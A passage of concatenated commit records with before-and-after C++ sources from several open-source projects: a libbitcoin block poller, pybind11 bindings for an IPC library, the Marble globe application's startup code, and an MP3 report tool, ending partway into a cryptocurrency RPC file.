hash_block_header(blk), node));\n node->subscribe_block(\n std::bind(&poller::receive_block,\n this, _1, _2, node));\n}\n\nvoid poller::handle_store(const std::error_code& ec, block_info info,\n const hash_digest& block_hash, channel_ptr node)\n{\n \/\/ We need orphan blocks so we can do the next getblocks round\n if (ec && info.status != block_status::orphan)\n {\n log_error(log_domain::poller)\n << \"Storing block \" << pretty_hex(block_hash)\n << \": \" << ec.message();\n return;\n }\n switch (info.status)\n {\n case block_status::orphan:\n \/\/ TODO: Make more efficient by storing block hash\n \/\/ and next time do not download orphan block again.\n \/\/ Remember to remove from list once block is no longer orphan\n fetch_block_locator(chain_,\n strand_.wrap(std::bind(&poller::ask_blocks,\n this, _1, _2, block_hash, node)));\n break;\n\n case block_status::rejected:\n log_error(log_domain::poller)\n << \"Rejected block \" << pretty_hex(block_hash);\n break;\n\n case block_status::confirmed:\n log_info(log_domain::poller)\n << \"Block #\" << info.depth << \" \" << pretty_hex(block_hash);\n break;\n }\n}\n\nvoid poller::ask_blocks(const std::error_code& ec,\n const message::block_locator& locator,\n const hash_digest& hash_stop, channel_ptr node)\n{\n if (ec)\n {\n log_error(log_domain::poller)\n << \"Ask for blocks: \" << ec.message();\n return;\n }\n if (last_hash_end_ == locator.front())\n {\n log_debug(log_domain::poller) << \"Skipping duplicate ask blocks: \"\n << pretty_hex(locator.front());\n return;\n }\n message::get_blocks packet;\n packet.start_hashes = locator;\n packet.hash_stop = hash_stop;\n node->send(packet, std::bind(&handle_send_packet, _1));\n last_hash_end_ = locator.front();\n}\n\n} \/\/ namespace libbitcoin\n\n<commit_msg>unitialised variable.<commit_after>#include <bitcoin\/poller.hpp>\n\n#include <bitcoin\/utility\/logger.hpp>\n\nnamespace libbitcoin {\n\nusing std::placeholders::_1;\nusing std::placeholders::_2;\n\npoller::poller(async_service& service, blockchain& chain)\n : strand_(service.get_service()), chain_(chain), last_hash_end_(null_hash)\n{\n}\n\nvoid poller::query(channel_ptr node)\n{\n fetch_block_locator(chain_,\n std::bind(&poller::initial_ask_blocks,\n this, _1, _2, node));\n}\n\nvoid poller::monitor(channel_ptr node)\n{\n node->subscribe_inventory(\n strand_.wrap(std::bind(&poller::receive_inv,\n this, _1, _2, node)));\n node->subscribe_block(\n std::bind(&poller::receive_block,\n this, _1, _2, node));\n}\n\nvoid poller::initial_ask_blocks(const std::error_code& ec,\n const message::block_locator& locator, channel_ptr node)\n{\n if (ec)\n {\n log_error(log_domain::poller)\n << \"Fetching initial block locator: \" << ec.message();\n return;\n }\n strand_.dispatch(std::bind(&poller::ask_blocks,\n this, ec, locator, null_hash, node));\n}\n\nvoid handle_send_packet(const std::error_code& ec)\n{\n if (ec)\n log_error(log_domain::poller)\n << \"Send problem: \" << ec.message();\n}\n\nvoid poller::receive_inv(const std::error_code& ec,\n const message::inventory& packet, channel_ptr node)\n{\n if (ec)\n {\n log_error(log_domain::poller)\n << \"Received bad inventory: \" << ec.message();\n return;\n }\n \/\/ Filter out only block inventories\n message::get_data getdata;\n for (const message::inventory_vector& ivv: packet.inventories)\n {\n if (ivv.type != message::inventory_type::block)\n continue;\n \/\/ Already got this block\n if (ivv.hash == last_block_hash_)\n continue;\n getdata.inventories.push_back(ivv);\n }\n if (!getdata.inventories.empty())\n {\n last_block_hash_ = getdata.inventories.back().hash;\n node->send(getdata, handle_send_packet);\n }\n node->subscribe_inventory(\n strand_.wrap(std::bind(&poller::receive_inv,\n this, _1, _2, node)));\n}\n\nvoid poller::receive_block(const std::error_code& ec,\n const message::block& blk, channel_ptr node)\n{\n if (ec)\n {\n log_error(log_domain::poller)\n << \"Received bad block: \" << ec.message();\n return;\n }\n chain_.store(blk,\n std::bind(&poller::handle_store,\n this, _1, _2, hash_block_header(blk), node));\n node->subscribe_block(\n std::bind(&poller::receive_block,\n this, _1, _2, node));\n}\n\nvoid poller::handle_store(const std::error_code& ec, block_info info,\n const hash_digest& block_hash, channel_ptr node)\n{\n \/\/ We need orphan blocks so we can do the next getblocks round\n if (ec && info.status != block_status::orphan)\n {\n log_error(log_domain::poller)\n << \"Storing block \" << pretty_hex(block_hash)\n << \": \" << ec.message();\n return;\n }\n switch (info.status)\n {\n case block_status::orphan:\n \/\/ TODO: Make more efficient by storing block hash\n \/\/ and next time do not download orphan block again.\n \/\/ Remember to remove from list once block is no longer orphan\n fetch_block_locator(chain_,\n strand_.wrap(std::bind(&poller::ask_blocks,\n this, _1, _2, block_hash, node)));\n break;\n\n case block_status::rejected:\n log_error(log_domain::poller)\n << \"Rejected block \" << pretty_hex(block_hash);\n break;\n\n case block_status::confirmed:\n log_info(log_domain::poller)\n << \"Block #\" << info.depth << \" \" << pretty_hex(block_hash);\n break;\n }\n}\n\nvoid poller::ask_blocks(const std::error_code& ec,\n const message::block_locator& locator,\n const hash_digest& hash_stop, channel_ptr node)\n{\n if (ec)\n {\n log_error(log_domain::poller)\n << \"Ask for blocks: \" << ec.message();\n return;\n }\n if (last_hash_end_ == locator.front())\n {\n log_debug(log_domain::poller) << \"Skipping duplicate ask blocks: \"\n << pretty_hex(locator.front());\n return;\n }\n message::get_blocks packet;\n packet.start_hashes = locator;\n packet.hash_stop = hash_stop;\n node->send(packet, std::bind(&handle_send_packet, _1));\n last_hash_end_ = locator.front();\n}\n\n} \/\/ namespace libbitcoin\n\n<|endoftext|>"} {"text":"<commit_before>\/* -*- Mode: C++; indent-tabs-mode: nil; c-basic-offset: 4; tab-width: 4 -*- *\/\n\n#include <pybind11\/pybind11.h>\n#include <pybind11\/stl.h>\n#include <pybind11\/functional.h>\n#include <vector>\n\nPYBIND11_DECLARE_HOLDER_TYPE(T, std::shared_ptr<T>)\n\n#include \"client.h\"\n\n\nusing namespace echolib;\nnamespace py = pybind11;\n\ntypedef function<void(string)> MessageCallback;\n\nclass PySubscriber : public Subscriber, public std::enable_shared_from_this<PySubscriber> {\n public:\n PySubscriber(SharedClient client, const string &alias, const string &type, function<void(MessageReader)> callback) : Subscriber(client, alias, type), callback(callback) {\n\n }\n\n virtual void on_message(SharedMessage message) {\n MessageReader reader(message);\n py::gil_scoped_acquire gil; \/\/ acquire GIL lock\n callback(reader);\n }\n\n private:\n\n function<void(MessageReader)> callback;\n\n};\n\nclass PyWatcher : public Watcher {\n public:\n using Watcher::Watcher;\n\n virtual void on_event(SharedDictionary command) {\n PYBIND11_OVERLOAD_PURE(\n void,\n Subscriber,\n on_event,\n command\n );\n }\n};\n\nPYBIND11_PLUGIN(pyecho) {\n\n py::init_threading();\n py::module m(\"pyecho\", \"Echo IPC library\");\n\n py::class_<Client, std::shared_ptr<Client> >(m, \"Client\")\n .def(py::init<string>())\n .def(\"disconnect\", &Client::disconnect, \"Disconnect the client\")\n .def(\"wait\", [](Client& c, long timeout) {\n py::gil_scoped_release gil; \/\/ release GIL lock\n return c.wait(timeout);\n }, \"Wait for more messages\")\n .def(\"isConnected\", &Client::is_connected, \"Check if the client is connected\");\n\n py::class_<PySubscriber, std::shared_ptr<PySubscriber> >(m, \"Subscriber\")\n .def(py::init<SharedClient, string, string, function<void(MessageReader)> >())\n .def(\"subscribe\", [](PySubscriber &a) {\n py::gil_scoped_release gil; \/\/ release GIL lock\n return a.subscribe();\n }, \"Start receiving\")\n .def(\"unsubscribe\", [](PySubscriber &a) {\n py::gil_scoped_release gil; \/\/ release GIL lock\n return a.unsubscribe();\n }, \"Stop receiving\");\n\n py::class_<PyWatcher, std::shared_ptr<PyWatcher> >(m, \"Watcher\")\n .def(py::init<SharedClient, string>())\n .def(\"subscribe\", [](PyWatcher &a) {\n py::gil_scoped_release gil; \/\/ release GIL lock\n return a.watch();\n }, \"Start receiving\")\n .def(\"unsubscribe\", [](PyWatcher &a) {\n py::gil_scoped_release gil; \/\/ release GIL lock\n return a.unwatch();\n }, \"Stop watching\");\n\n py::class_<Publisher, std::shared_ptr<Publisher> >(m, \"Publisher\")\n .def(py::init<SharedClient, string, string>())\n .def(\"send\", [](Publisher &p, uchar* data, int size) {\n py::gil_scoped_release gil; \/\/ release GIL lock\n return p.send_message(data, size);\n } , \"Send a raw buffer\")\n .def(\"send\", [](Publisher &p, MessageWriter& message) {\n py::gil_scoped_release gil; \/\/ release GIL lock\n return p.send_message(message);\n }, \"Send a writer\");\n\n py::class_<BufferedMessage, std::shared_ptr<Message> >(m, \"BufferedMessage\")\n .def(py::init<int, uchar*, int, bool>())\n .def(py::init<int, MessageWriter>())\n .def(\"getChannel\", &BufferedMessage::get_channel, \"Get channel\");\n\n py::class_<MessageReader>(m, \"MessageReader\")\n .def(\"readInt\", &MessageReader::read_integer, \"Read an integer\")\n .def(\"readLong\", &MessageReader::read_long, \"Read a long\")\n .def(\"readChar\", &MessageReader::read_char, \"Read a char\")\n .def(\"readFloat\", &MessageReader::read_float, \"Read a float\")\n .def(\"readDouble\", &MessageReader::read_double, \"Read a double\")\n .def(\"readString\", &MessageReader::read_string, \"Read a string\");\n\n py::class_<MessageWriter>(m, \"MessageWriter\")\n .def(py::init<ssize_t>(), py::arg(\"size\") = 0)\n .def(\"writeInt\", &MessageWriter::write_integer, \"Write an integer\")\n .def(\"writeLong\", &MessageWriter::write_long, \"Write a long\")\n .def(\"writeChar\", &MessageWriter::write_char, \"Write a char\")\n .def(\"writeFloat\", &MessageWriter::write_float, \"Write a float\")\n .def(\"writeDouble\", &MessageWriter::write_double, \"Write a double\")\n .def(\"writeString\", &MessageWriter::write_string, \"Write a string\");\n\n return m.ptr();\n\n}\n<commit_msg>Updating python bindings.<commit_after>\/* -*- Mode: C++; indent-tabs-mode: nil; c-basic-offset: 4; tab-width: 4 -*- *\/\n\n#define WITH_THREAD\n\n#include <pybind11\/pybind11.h>\n#include <pybind11\/stl.h>\n#include <pybind11\/functional.h>\n#include <vector>\n\nPYBIND11_DECLARE_HOLDER_TYPE(T, std::shared_ptr<T>)\n\n#include \"client.h\"\n\n\nusing namespace echolib;\nnamespace py = pybind11;\n\ntypedef function<void(string)> MessageCallback;\n\nclass PySubscriber : public Subscriber, public std::enable_shared_from_this<PySubscriber> {\n public:\n PySubscriber(SharedClient client, const string &alias, const string &type, function<void(MessageReader)> callback) : Subscriber(client, alias, type), callback(callback) {\n\n }\n\n virtual void on_message(SharedMessage message) {\n MessageReader reader(message);\n py::gil_scoped_acquire gil; \/\/ acquire GIL lock\n callback(reader);\n }\n\n using Subscriber::subscribe;\n using Subscriber::unsubscribe;\n\n private:\n\n function<void(MessageReader)> callback;\n\n};\n\nclass PyWatcher : public Watcher {\n public:\n using Watcher::Watcher;\n\n void on_event(SharedDictionary command) override {\n PYBIND11_OVERLOAD_PURE(\n void,\n Watcher,\n on_event,\n command\n );\n }\n};\n\nPYBIND11_PLUGIN(pyecho) {\n\n py::module m(\"pyecho\", \"Echo IPC library Python bindings\");\n\n py::class_<Client, std::shared_ptr<Client> >(m, \"Client\")\n .def(py::init<string>())\n .def(\"disconnect\", &Client::disconnect, \"Disconnect the client\")\n .def(\"wait\", [](Client& c, long timeout) {\n py::gil_scoped_release gil; \/\/ release GIL lock\n return c.wait(timeout);\n }, \"Wait for more messages\")\n .def(\"isConnected\", &Client::is_connected, \"Check if the client is connected\");\n\n py::class_<Subscriber, PySubscriber, std::shared_ptr<Subscriber> >(m, \"Subscriber\")\n .def(py::init<SharedClient, string, string, function<void(MessageReader)> >())\n .def(\"subscribe\", [](PySubscriber &a) {\n py::gil_scoped_release gil; \/\/ release GIL lock\n return a.subscribe();\n }, \"Start receiving\")\n .def(\"unsubscribe\", [](PySubscriber &a) {\n py::gil_scoped_release gil; \/\/ release GIL lock\n return a.unsubscribe();\n }, \"Stop receiving\");\n\n py::class_<Watcher, PyWatcher, std::shared_ptr<Watcher> >(m, \"Watcher\")\n .def(py::init<SharedClient, string>())\n .def(\"subscribe\", [](PyWatcher &a) {\n py::gil_scoped_release gil; \/\/ release GIL lock\n return a.watch();\n }, \"Start receiving\")\n .def(\"unsubscribe\", [](PyWatcher &a) {\n py::gil_scoped_release gil; \/\/ release GIL lock\n return a.unwatch();\n }, \"Stop watching\");\n\n py::class_<Publisher, std::shared_ptr<Publisher> >(m, \"Publisher\")\n .def(py::init<SharedClient, string, string>())\n .def(\"send\", [](Publisher &p, uchar* data, int size) {\n py::gil_scoped_release gil; \/\/ release GIL lock\n return p.send_message(data, size);\n } , \"Send a raw buffer\")\n .def(\"send\", [](Publisher &p, MessageWriter& message) {\n py::gil_scoped_release gil; \/\/ release GIL lock\n return p.send_message(message);\n }, \"Send a writer\");\n\n py::class_<BufferedMessage, std::shared_ptr<BufferedMessage> >(m, \"BufferedMessage\")\n .def(py::init<int, uchar*, int, bool>())\n .def(py::init<int, MessageWriter>())\n .def(\"getChannel\", &BufferedMessage::get_channel, \"Get channel\");\n\n py::class_<MessageReader>(m, \"MessageReader\")\n .def(\"readInt\", &MessageReader::read_integer, \"Read an integer\")\n .def(\"readLong\", &MessageReader::read_long, \"Read a long\")\n .def(\"readChar\", &MessageReader::read_char, \"Read a char\")\n .def(\"readFloat\", &MessageReader::read_float, \"Read a float\")\n .def(\"readDouble\", &MessageReader::read_double, \"Read a double\")\n .def(\"readString\", &MessageReader::read_string, \"Read a string\");\n\n py::class_<MessageWriter>(m, \"MessageWriter\")\n .def(py::init<ssize_t>(), py::arg(\"size\") = 0)\n .def(\"writeInt\", &MessageWriter::write_integer, \"Write an integer\")\n .def(\"writeLong\", &MessageWriter::write_long, \"Write a long\")\n .def(\"writeChar\", &MessageWriter::write_char, \"Write a char\")\n .def(\"writeFloat\", &MessageWriter::write_float, \"Write a float\")\n .def(\"writeDouble\", &MessageWriter::write_double, \"Write a double\")\n .def(\"writeString\", &MessageWriter::write_string, \"Write a string\");\n\n return m.ptr();\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ This file is part of the Marble Virtual Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2006-2007 Torsten Rahn <tackat@kde.org>\n\/\/ Copyright 2007 Inge Wallin <ingwa@kde.org>\n\/\/\n\n#include <QtGui\/QApplication>\n#include <QtCore\/QFile>\n#include <QtCore\/QDir>\n#include <QtCore\/QLocale>\n#include <QtCore\/QSettings>\n#include <QtCore\/QTranslator>\n\n#include \"QtMainWindow.h\"\n\n#include \"MarbleDirs.h\"\n#include \"MarbleDebug.h\"\n#include \"MarbleTest.h\"\n\n#ifdef STATIC_BUILD\n #include <QtCore\/QtPlugin>\n Q_IMPORT_PLUGIN(qjpeg)\n Q_IMPORT_PLUGIN(qsvg)\n#endif\n\n#ifdef Q_OS_MACX\n\/\/for getting app bundle path\n#include <ApplicationServices\/ApplicationServices.h>\n#endif\n\nusing namespace Marble;\n \nint main(int argc, char *argv[])\n{\n \/\/ The GraphicsSystem needs to be set before the instantiation of the\n \/\/ QApplication. Therefore we need to parse the current setting \n \/\/ in this unusual place :-\/\n QSettings * graphicsSettings = new QSettings(\"kde.org\", \"Marble Desktop Globe\");\n QString graphicsString = graphicsSettings->value(\"View\/graphicsSystem\", \"native\").toString();\n delete graphicsSettings;\n QApplication::setGraphicsSystem( graphicsString );\n\n QApplication app(argc, argv);\n \/\/ Widget translation\n\n QString lang = QLocale::system().name().section('_', 0, 0);\n QTranslator translator;\n translator.load( \"marble-\" + lang, MarbleDirs::path(QString(\"lang\") ) );\n app.installTranslator(&translator);\n\n \/\/ For non static builds on mac and win\n \/\/ we need to be sure we can find the qt image\n \/\/ plugins. In mac be sure to look in the\n \/\/ application bundle...\n\n#ifdef Q_WS_WIN\n QApplication::addLibraryPath( QApplication::applicationDirPath() \n + QDir::separator() + \"plugins\" );\n#endif\n#ifdef Q_OS_MACX\n QApplication::instance()->setAttribute(Qt::AA_DontShowIconsInMenus);\n qDebug(\"Adding qt image plugins to plugin search path...\");\n CFURLRef myBundleRef = CFBundleCopyBundleURL(CFBundleGetMainBundle());\n CFStringRef myMacPath = CFURLCopyFileSystemPath(myBundleRef, kCFURLPOSIXPathStyle);\n const char *mypPathPtr = CFStringGetCStringPtr(myMacPath,CFStringGetSystemEncoding());\n CFRelease(myBundleRef);\n CFRelease(myMacPath);\n QString myPath(mypPathPtr);\n \/\/ if we are not in a bundle assume that the app is built\n \/\/ as a non bundle app and that image plugins will be\n \/\/ in system Qt frameworks. If the app is a bundle\n \/\/ lets try to set the qt plugin search path...\n if (myPath.contains(\".app\"))\n {\n myPath += \"\/Contents\/plugins\";\n QApplication::addLibraryPath( myPath );\n qDebug( \"Added %s to plugin search path\", qPrintable( myPath ) );\n }\n#endif\n\n QString marbleDataPath;\n int dataPathIndex=0;\n MarbleGlobal::Profiles profiles = MarbleGlobal::detectProfiles();\n\n QStringList args = QApplication::arguments();\n\n for ( int i = 1; i < args.count(); ++i ) {\n const QString arg = args.at(i);\n\n if ( arg == \"--debug-info\" )\n {\n MarbleDebug::enable = true;\n }\n else if ( arg.startsWith( \"--marbledatapath=\", Qt::CaseInsensitive ) )\n {\n marbleDataPath = args.at(i).mid(17);\n }\n else if ( arg.compare( \"--marbledatapath\", Qt::CaseInsensitive ) == 0 ) {\n dataPathIndex = i + 1;\n marbleDataPath = args.value( dataPathIndex );\n ++i;\n }\n else if ( arg == \"--smallscreen\" ) {\n profiles |= MarbleGlobal::SmallScreen;\n }\n else if ( arg == \"--nosmallscreen\" ) {\n profiles &= ~MarbleGlobal::SmallScreen;\n }\n else if ( arg == \"--highresolution\" ) {\n profiles |= MarbleGlobal::HighResolution;\n }\n else if ( arg == \"--nohighresolution\" ) {\n profiles &= ~MarbleGlobal::HighResolution;\n }\n }\n MarbleGlobal::getInstance()->setProfiles( profiles );\n\n MainWindow *window = new MainWindow( marbleDataPath );\n window->setAttribute( Qt::WA_DeleteOnClose, true );\n\n MarbleTest *marbleTest = new MarbleTest( window->marbleWidget() );\n\n\/\/ window->marbleWidget()->rotateTo( 0, 0, -90 );\n\/\/ window->show();\n\n for ( int i = 1; i < args.count(); ++i ) {\n const QString arg = args.at(i);\n if ( arg == \"--timedemo\" )\n {\n window->resize(900, 640);\n marbleTest->timeDemo();\n return 0;\n }\n else if( arg == \"--gpsdemo\" ) {\n window->resize( 900, 640 );\n marbleTest->gpsDemo();\n return 0;\n }\n else if( arg == \"--fps\" ) {\n window->marbleControl()->marbleWidget()->setShowFrameRate( true );\n }\n else if( arg == \"--enableCurrentLocation\" )\n {\n window->marbleControl()->setCurrentLocationTabShown(true);\n }\n else if( arg == \"--enableFileView\" )\n {\n window->marbleControl()->setFileViewTabShown(true);\n }\n else if ( arg == \"--tile-id\" )\n {\n\t window->marbleControl()->marbleWidget()->setShowTileId(true);\n }\n else if ( i != dataPathIndex && QFile::exists( arg ) )\n ( window->marbleControl() )->addGeoDataFile( arg );\n }\n\n delete marbleTest;\n\n return app.exec();\n}\n<commit_msg>Initialize measurement system in the qt application. Fixes wrong distance unit being shown in the mapscale float item and the toolbar. Note that you need to remove a previous View\/distanceUnit config entry for this to take effect.<commit_after>\/\/\n\/\/ This file is part of the Marble Virtual Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2006-2007 Torsten Rahn <tackat@kde.org>\n\/\/ Copyright 2007 Inge Wallin <ingwa@kde.org>\n\/\/\n\n#include <QtGui\/QApplication>\n#include <QtCore\/QFile>\n#include <QtCore\/QDir>\n#include <QtCore\/QLocale>\n#include <QtCore\/QSettings>\n#include <QtCore\/QTranslator>\n\n#include \"QtMainWindow.h\"\n\n#include \"MarbleDirs.h\"\n#include \"MarbleDebug.h\"\n#include \"MarbleTest.h\"\n#include \"MarbleLocale.h\"\n\n#ifdef STATIC_BUILD\n #include <QtCore\/QtPlugin>\n Q_IMPORT_PLUGIN(qjpeg)\n Q_IMPORT_PLUGIN(qsvg)\n#endif\n\n#ifdef Q_OS_MACX\n\/\/for getting app bundle path\n#include <ApplicationServices\/ApplicationServices.h>\n#endif\n\nusing namespace Marble;\n \nint main(int argc, char *argv[])\n{\n \/\/ The GraphicsSystem needs to be set before the instantiation of the\n \/\/ QApplication. Therefore we need to parse the current setting \n \/\/ in this unusual place :-\/\n QSettings * graphicsSettings = new QSettings(\"kde.org\", \"Marble Desktop Globe\");\n QString graphicsString = graphicsSettings->value(\"View\/graphicsSystem\", \"native\").toString();\n delete graphicsSettings;\n QApplication::setGraphicsSystem( graphicsString );\n\n QApplication app(argc, argv);\n \/\/ Widget translation\n\n QString lang = QLocale::system().name().section('_', 0, 0);\n QTranslator translator;\n translator.load( \"marble-\" + lang, MarbleDirs::path(QString(\"lang\") ) );\n app.installTranslator(&translator);\n\n \/\/ For non static builds on mac and win\n \/\/ we need to be sure we can find the qt image\n \/\/ plugins. In mac be sure to look in the\n \/\/ application bundle...\n\n#ifdef Q_WS_WIN\n QApplication::addLibraryPath( QApplication::applicationDirPath() \n + QDir::separator() + \"plugins\" );\n#endif\n#ifdef Q_OS_MACX\n QApplication::instance()->setAttribute(Qt::AA_DontShowIconsInMenus);\n qDebug(\"Adding qt image plugins to plugin search path...\");\n CFURLRef myBundleRef = CFBundleCopyBundleURL(CFBundleGetMainBundle());\n CFStringRef myMacPath = CFURLCopyFileSystemPath(myBundleRef, kCFURLPOSIXPathStyle);\n const char *mypPathPtr = CFStringGetCStringPtr(myMacPath,CFStringGetSystemEncoding());\n CFRelease(myBundleRef);\n CFRelease(myMacPath);\n QString myPath(mypPathPtr);\n \/\/ if we are not in a bundle assume that the app is built\n \/\/ as a non bundle app and that image plugins will be\n \/\/ in system Qt frameworks. If the app is a bundle\n \/\/ lets try to set the qt plugin search path...\n if (myPath.contains(\".app\"))\n {\n myPath += \"\/Contents\/plugins\";\n QApplication::addLibraryPath( myPath );\n qDebug( \"Added %s to plugin search path\", qPrintable( myPath ) );\n }\n#endif\n\n QString marbleDataPath;\n int dataPathIndex=0;\n MarbleGlobal::Profiles profiles = MarbleGlobal::detectProfiles();\n\n QStringList args = QApplication::arguments();\n\n for ( int i = 1; i < args.count(); ++i ) {\n const QString arg = args.at(i);\n\n if ( arg == \"--debug-info\" )\n {\n MarbleDebug::enable = true;\n }\n else if ( arg.startsWith( \"--marbledatapath=\", Qt::CaseInsensitive ) )\n {\n marbleDataPath = args.at(i).mid(17);\n }\n else if ( arg.compare( \"--marbledatapath\", Qt::CaseInsensitive ) == 0 ) {\n dataPathIndex = i + 1;\n marbleDataPath = args.value( dataPathIndex );\n ++i;\n }\n else if ( arg == \"--smallscreen\" ) {\n profiles |= MarbleGlobal::SmallScreen;\n }\n else if ( arg == \"--nosmallscreen\" ) {\n profiles &= ~MarbleGlobal::SmallScreen;\n }\n else if ( arg == \"--highresolution\" ) {\n profiles |= MarbleGlobal::HighResolution;\n }\n else if ( arg == \"--nohighresolution\" ) {\n profiles &= ~MarbleGlobal::HighResolution;\n }\n }\n MarbleGlobal::getInstance()->setProfiles( profiles );\n\n QLocale::MeasurementSystem const measurement = QLocale::system().measurementSystem();\n Marble::MeasureSystem const marbleMeasurement = measurement == QLocale::ImperialSystem ? Marble::Imperial : Marble::Metric;\n MarbleGlobal::getInstance()->locale()->setMeasureSystem( marbleMeasurement );\n\n MainWindow *window = new MainWindow( marbleDataPath );\n window->setAttribute( Qt::WA_DeleteOnClose, true );\n\n MarbleTest *marbleTest = new MarbleTest( window->marbleWidget() );\n\n\/\/ window->marbleWidget()->rotateTo( 0, 0, -90 );\n\/\/ window->show();\n\n for ( int i = 1; i < args.count(); ++i ) {\n const QString arg = args.at(i);\n if ( arg == \"--timedemo\" )\n {\n window->resize(900, 640);\n marbleTest->timeDemo();\n return 0;\n }\n else if( arg == \"--gpsdemo\" ) {\n window->resize( 900, 640 );\n marbleTest->gpsDemo();\n return 0;\n }\n else if( arg == \"--fps\" ) {\n window->marbleControl()->marbleWidget()->setShowFrameRate( true );\n }\n else if( arg == \"--enableCurrentLocation\" )\n {\n window->marbleControl()->setCurrentLocationTabShown(true);\n }\n else if( arg == \"--enableFileView\" )\n {\n window->marbleControl()->setFileViewTabShown(true);\n }\n else if ( arg == \"--tile-id\" )\n {\n\t window->marbleControl()->marbleWidget()->setShowTileId(true);\n }\n else if ( i != dataPathIndex && QFile::exists( arg ) )\n ( window->marbleControl() )->addGeoDataFile( arg );\n }\n\n delete marbleTest;\n\n return app.exec();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*!\n * \\file report.cxx\n * \\brief Program entry and command line parsing for MP3Report.\n *\n * Copyright (c) 2013 Falko Schmidt <kaethorn@gmail.com>\n *\n * Distributed under the MIT License (MIT) (See accompanying file LICENSE.txt\n * or copy at http:\/\/opensource.org\/licenses\/MIT)\n *\/\n\n#include <boost\/program_options.hpp>\nnamespace po = boost::program_options;\n\n#include <iostream>\n#include <iterator>\n#include <map>\nusing namespace std;\n\n#include \"report_config.hxx\"\n#include \"reporter.hxx\"\n\nint main (int argc, char *argv[]) {\n\n string reportType, directory, outputPath;\n\n po::options_description desc(\"Allowed options\");\n desc.add_options()\n (\"help,h\", \"Produce this help message\")\n (\"version,v\", \"Print version string\")\n (\"report-type,r\", po::value<string>(&reportType)->default_value(\"plain\"),\n \"Report type (html_list, html_collapsible, csv, plain)\")\n (\"output-path,o\", po::value<string>(&outputPath),\n \"File to write the report to (fallback: stdout)\")\n (\"directory\", po::value<string>(&directory)->required(), \"Working directory\")\n ;\n\n po::positional_options_description p;\n p.add(\"directory\", -1);\n\n po::variables_map vm;\n\n po::store(po::command_line_parser(argc, argv).options(desc).positional(p).run(), vm);\n\n if (vm.count(\"help\")) {\n cout << desc << endl;\n return 0;\n }\n if (vm.count(\"version\")) {\n cout << argv[0] << \" version \" << MP3REPORT_VERSION_MAJOR << \".\" << MP3REPORT_VERSION_MINOR << endl;\n return 0;\n }\n\n try {\n po::notify(vm);\n } catch ( const boost::program_options::error& e ) {\n cerr << e.what() << endl;\n return 1;\n }\n\n if (vm[\"report-type\"].as<string>() != \"html_list\" && \n vm[\"report-type\"].as<string>() != \"html_collapsible\" &&\n vm[\"report-type\"].as<string>() != \"csv\" &&\n vm[\"report-type\"].as<string>() != \"plain\") {\n cerr << \"invalid report type (should be one of html_list, html_collapsible, csv or plain)\" << endl;\n return 1;\n }\n\n Reporter reporter(&directory, &reportType, &outputPath);\n reporter.run();\n return 0;\n}\n<commit_msg>use basename for argv[0] in version output.<commit_after>\/*!\n * \\file report.cxx\n * \\brief Program entry and command line parsing for MP3Report.\n *\n * Copyright (c) 2013 Falko Schmidt <kaethorn@gmail.com>\n *\n * Distributed under the MIT License (MIT) (See accompanying file LICENSE.txt\n * or copy at http:\/\/opensource.org\/licenses\/MIT)\n *\/\n\n#include <boost\/program_options.hpp>\n#include <boost\/filesystem.hpp>\nnamespace po = boost::program_options;\n\n#include <iostream>\n#include <iterator>\n#include <map>\nusing namespace std;\n\n#include \"report_config.hxx\"\n#include \"reporter.hxx\"\n\nint main (int argc, char *argv[]) {\n\n string reportType, directory, outputPath;\n\n po::options_description desc(\"Allowed options\");\n desc.add_options()\n (\"help,h\", \"Produce this help message\")\n (\"version,v\", \"Print version string\")\n (\"report-type,r\", po::value<string>(&reportType)->default_value(\"plain\"),\n \"Report type (html_list, html_collapsible, csv, plain)\")\n (\"output-path,o\", po::value<string>(&outputPath),\n \"File to write the report to (fallback: stdout)\")\n (\"directory\", po::value<string>(&directory)->required(), \"Working directory\")\n ;\n\n po::positional_options_description p;\n p.add(\"directory\", -1);\n\n po::variables_map vm;\n\n po::store(po::command_line_parser(argc, argv).options(desc).positional(p).run(), vm);\n\n if (vm.count(\"help\")) {\n cout << desc << endl;\n return 0;\n }\n if (vm.count(\"version\")) {\n cout << boost::filesystem::basename(argv[0]) << \" version \" << \n MP3REPORT_VERSION_MAJOR << \".\" << MP3REPORT_VERSION_MINOR << endl;\n return 0;\n }\n\n try {\n po::notify(vm);\n } catch ( const boost::program_options::error& e ) {\n cerr << e.what() << endl;\n return 1;\n }\n\n if (vm[\"report-type\"].as<string>() != \"html_list\" && \n vm[\"report-type\"].as<string>() != \"html_collapsible\" &&\n vm[\"report-type\"].as<string>() != \"csv\" &&\n vm[\"report-type\"].as<string>() != \"plain\") {\n cerr << \"invalid report type (should be one of html_list, html_collapsible, csv or plain)\" << endl;\n return 1;\n }\n\n Reporter reporter(&directory, &reportType, &outputPath);\n reporter.run();\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2009-2012 Bitcoin Developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"net.h\"\n#include \"bitcoinrpc.h\"\n#include \"alert.h\"\n#include \"wallet.h\"\n#include \"db.h\"\n#include \"walletdb.h\"\n\nusing namespace json_spirit;\nusing namespace std;\nextern std::string NeuralRequest(std::string MyNeuralRequest);\nextern bool RequestSupermajorityNeuralData();\nstd::string GetCurrentNeuralNetworkSupermajorityHash(double& out_popularity);\nextern void GatherNeuralHashes();\nextern bool AsyncNeuralRequest(std::string command_name,std::string cpid,int NodeLimit);\n\n\nValue getconnectioncount(const Array& params, bool fHelp)\n{\n if (fHelp || params.size() != 0)\n throw runtime_error(\n \"getconnectioncount\\n\"\n \"Returns the number of connections to other nodes.\");\n\n LOCK(cs_vNodes);\n return (int)vNodes.size();\n}\n\n\nstd::string NeuralRequest(std::string MyNeuralRequest)\n{\n \/\/ Find a Neural Network Node that is free\n LOCK(cs_vNodes);\n BOOST_FOREACH(CNode* pNode, vNodes) \n {\n if (Contains(pNode->strSubVer,\"1999\"))\n {\n \/\/printf(\"Node is a neural participant \\r\\n\");\n std::string reqid = 